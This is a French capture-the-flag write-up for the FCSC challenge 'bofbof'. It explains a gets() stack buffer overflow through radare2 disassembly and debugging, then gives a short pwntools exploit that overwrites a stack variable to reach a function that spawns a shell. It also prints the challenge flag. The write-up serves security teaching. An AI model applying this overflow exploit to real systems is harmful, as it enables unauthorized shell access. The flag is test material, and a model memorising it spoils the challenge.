Introduction
Le titre du challenge nous donne un indice : il va surement s’agir d’un buffer overflow.
Nous exécutons le binaire pour voir comment il fonctionne.
Il demande à l’utilisateur d’entrer une valeur et c’est tout :/. Nous pouvons essayer de valider notre hypothèse de buffer overflow en entrant plein de caractères pour causer une erreur de segmentation.
Yes ! Nous avons même une indication que nous sommes sur le bon chemin.
Analysons le binaire fourni avec radare2.
r2 -AA ./bofbof
Nous utilisons la commande afl pour afficher les fonctions. La fonction main est présente, mais nous pouvons aussi remarquer une intrigante fonction sym.vuln.
Nous allons nous positionner sur la fonction main et l’afficher avec les commandes suivantes :
s mainV
Nous voyons que la fonction sym.vuln est appelée dans la fonction main.
Nous allons ensuite nous positionner sur la fonction sym.vuln.
s vuln
Cette fonction appelle la fonction system et exécute /bin/sh. Elle ouvre un shell.
Analyse du code assembleur
Voici comment s’exécute la fonction main :
sub rsp, 0x30-> réserve 48 octets sur la pile.movabs rax, 0x4141414141414141-> charge le registreraxavec la valeurAAAAAAAAen hexadécimal.mov qword [var_8h], rax-> charge la valeur deraxà l’adresse vers laquelle pointe la variablevar_8h, qui sera ici dans la pile (tout en haut de la fonction,var_8hest à l’adresserbp-0x8).lea rdi, str.Comment_est_votre_blanquette-> la chaîne de caractères est stockée dans le registrerdi.- La fonction
printfest appelée pour l’afficher. - La fonction
gets, vulnérable aux buffer overflows, est appelée pour prendre l’entrée de l’utilisateur. La fonctiongetsne vérifie pas la taille de l’entrée de l’utilisateur. Cette fonction est donc à proscrire.
movabs rax, 0x4141414141414141-> la valeur représentantAAAAAAAAen hexadécimal est encore une fois chargée dansrax.cmp qword [var_8h], rax-> une comparaison est réalisée entre la valeur à l’adressevar_8h(dans la pile, qui contientAAAAAAAA) etrax(AAAAAAAA).je 0x121c-> si les deux valeurs sont égales, alors le programme saute à l’adresse0x121c, donc à la fin du programme.- Sinon, il passe à la ligne suivante.
movabs rax, 0x1122334455667788-> cette valeur est chargée dans le registrerax.cmp qword [var_8h], rax-> la comparaison est réalisée.jne 0x1210-> si les deux valeurs ne sont pas identiques, le programme va sauter à cette adresse et afficher le messageAlmost there!avec la méthodeputset sortir du programme.- Sinon, il appelle la fonction
sym.vuln-> elle lance un shell dans la machine cible.
Création de l’exploit
L’analyse de l’assembleur nous montre clairement la marche à suivre : utiliser la méthode gets pour effectuer notre buffer overflow et donc écrire sur la pile. La valeur située à l’adresse var_8h est sur la pile et est utilisée pour toutes les comparaisons précédentes. Il s’agit de la valeur que nous devons modifier. Nous savons aussi que le programme a réservé 48 octets sur la pile, c’est donc ici que seront écrites toutes nos valeurs.
Nous allons déboguer le programme pour voir comment se comporte la pile et concevoir notre exploit.
r2 -AA -d ./bofbof
Nous ajoutons un point d’arrêt sur notre fonction main et lançons le programme :
db maindc
Après l’exécution de l’instruction sub, nous pouvons voir que des octets ont été réservés sur la pile (à droite).
Après l’exécution de l’instruction mov qword, la pile stocke désormais la valeur AAAAAAAA.
Après l’exécution de l’instruction call sym.imp.gets avec une entrée plus longue que 48 caractères, nous pouvons voir que nous avons écrit sur la pile et surtout sur var_8h qui contenait AAAAAAAA.
Nous avons tout ce qu’il nous faut : var_8h est située sur les derniers 8 octets de l’emplacement réservé (48 octets). Nous devons donc remplir notre buffer avec 48 - 8 = 40 octets. Nous pourrons alors entrer pour les 8 octets restants la valeur 0x1122334455667788 pour, comme vu plus haut, valider la comparaison et appeler la fonction sym.vuln -> lancer un shell.
Nous allons coder tout cela en python avec la librairie pwntools.
#!/usr/bin/env python
from pwn import *
con = remote("localhost", 4000) # connexion au conteneur distant
#con = process("./bofbof") # utiliser pour s'attacher directement au binaire en local
data_ = con.recv(4096)
print(data_.decode())
payload = b"X"*40 + p64(0x1122334455667788)+b"\n" # le payload décrit plus haut.
print("payload to send =>",payload)
con.send(payload) # envoi du payload
con.interactive() # l'exécution devient interactive
# con.close()
Nous exécutons le programme -> nous avons accès au shell et donc au flag !
FLAG :
FCSC{ec30a448a777b571734d8d9e4036b3a6e87d1005446f80dffb26c3e4f5cd02ba}